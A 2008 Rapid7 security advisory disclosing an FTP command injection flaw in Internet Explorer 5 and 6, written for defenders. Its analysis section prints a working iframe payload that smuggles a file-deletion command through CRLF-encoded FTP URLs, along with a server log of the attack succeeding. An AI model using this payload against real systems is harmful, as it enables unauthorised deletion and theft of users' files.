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Rapid7 Security Advisory
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Rapid7 Advisory R7-0032
Microsoft Internet Explorer FTP Command Injection Vulnerability
Discovered: June 16th, 2007
Published: March 10, 2008
Revision: 1.0
http://www.rapid7.com/advisories/R7-0032
1. Affected system(s):
KNOWN VULNERABLE:
o Internet Explorer 6 (all versions)
o Internet Explorer 5 (all versions)
NOT VULNERABLE:
o Internet Explorer 7
2. Summary
Internet Explorer 5 and 6 are vulnerable to a File Transfer Protocol
(FTP)
CSRF-like command injection attack, whereby an attacker could execute
arbitrary
commands on an unsuspecting user's authenticated or unauthenticated FTP
session.
An attacker could delete, rename, move, and possibly steal data and
upload
malicious files to an FTP server under the attacker's control, on
behalf of the
user.
3. Vendor status and information
Microsoft Corporation
http://www.microsoft.com/
Microsoft was notified of this vulnerability on January 22, 2008. They
acknowledged the vulnerability on February 7, 2008 and were given 30
days
to provide fix information.
4. Solution
The vendor plans to release a patch for this issue in an upcoming
security
bulletin. If possible, upgrade to Internet Explorer 7.
5. Detailed analysis
The error occurs when a user visits a page containing a malicious FTP
URL.
Internet Explorer 5 and 6 decode and do not properly sanitize the
supplied URL.
It is possible to force Internet Explorer to chain FTP commands
together by
inserting URL encoded CRLF pairs after each command in the URL supplied
by an
HTML element.
<iframe src="ftp://[EMAIL PROTECTED]:port/%0D%0ADELE%20foo.txt%0D%0A"/>
Moreover, if two forward slashes are appended to the end of the
malicious
URL, Internet Explorer will attempt to use an already pre-authenticated
connection established earlier by the user in the same browser session.
If the user has a pre-authenticated connection to an FTP server, an
attacker, knowing the username and endpoint of that pre-authenticated
connection, could piggyback on the user's session to execute arbitrary
commands. A pre-authenticated connection is not necessary to carry out
this
attack, as Internet Explorer will attempt an anonymous login if no
username is
specified in the URL. If only the username is specified and no
trailing
forward slashes are appended to the string, Internet Explorer will send
the
username with a blank password (which may be sufficient for more
obscure
anonymous user accounts). If no username is specified, Internet
Explorer will
attempt to login using the 'IEUser@' user.
Successful execution of some attacks may depend on the command
tokenizing
strategy used by the target FTP server and the security configuration
on the
FTP server (for instance, most FTP servers do not allow PORT requests
for
endpoints which do not have the same address as the requesting client).
In testing, Internet Explorer 6 SP2 required the two trailing forward
slashes for the exploit to work correctly. Internet Explorer 6 SP1 did
not
have this restriction. Internet Explorer 7 is not vulnerable to this
issue, as
it correctly sanitizes the URL before attempting to make the request on
the FTP
server.
Demonstration of the exploit piggybacking on a pre-authenticated
connection
(malicious URL with two trailing forward slashes) with IE6 SP2:
Malicious URI: ftp://[EMAIL PROTECTED]/%0D%0ADELE%20foo.txt%0D%0ACWD//
--> Welcome banner
220 debian FTP server (Version wu-2.6.2(2) Tue Mar 20 18:26:53 PST
2007) ready.
<-- IE6 Requests a user
USER admin
--> FTP server requires password
331 Password required for admin.
<-- IE6 supplies password.
PASS admin
--> FTP Server responds with successful login.
230 User admin logged in.
<-- IE6 tests 'OPTS UTF8' option.
opts utf8 on
--> Server responds with negative permanent reply to OPTS request.
500 'OPTS utf8 on': command not understood.
<-- IE6 asks for the present working directory.
PWD
--> Server sends positive completion reply for PWD.
257 "/home/admin" is current directory.
<-- IE6 requests malicious FTP URI from an iframe in HTML doc
CWD /home/admin/
DELE foo.txt
CWD/
--> Server responds with positive completion for CWD
250 CWD command successful.
<-- IE6 sends a 'TYPE A' request
TYPE A
--> Server responds with positive completion for DELE
250 DELE command successful.
<-- IE6 sends a NOOP.
noop
--> Server sends negative permanent response for last (invalid)
command.
500 'CWD/': command not understood.
And the file no longer exists.
6. Credit
Discovered by Derek Abdine of Rapid7.
7. Contact Information
Rapid7, LLC
Email: [EMAIL PROTECTED]
Web: http://www.rapid7.com
Phone: +1 (617) 247-1717
8. Disclaimer and Copyright
Rapid7, LLC is not responsible for the misuse of the information
provided in our security advisories. These advisories are a service
to the professional security community. There are NO WARRANTIES with
regard to this information. Any application or distribution of this
information constitutes acceptance AS IS, at the user's own risk.
This information is subject to change without notice.
This advisory Copyright (C) 2008 Rapid7, LLC. Permission is hereby
granted to redistribute this advisory, providing that no changes are
made and that the copyright notices and disclaimers remain intact.
==============================
Rapid7 Security Research Team
Email: [EMAIL PROTECTED]
Web: http://www.rapid7.com/
Phone: +1 (310) 760-4640
PGP: http://www.rapid7.com/advisories/R7-PKey2004.txt
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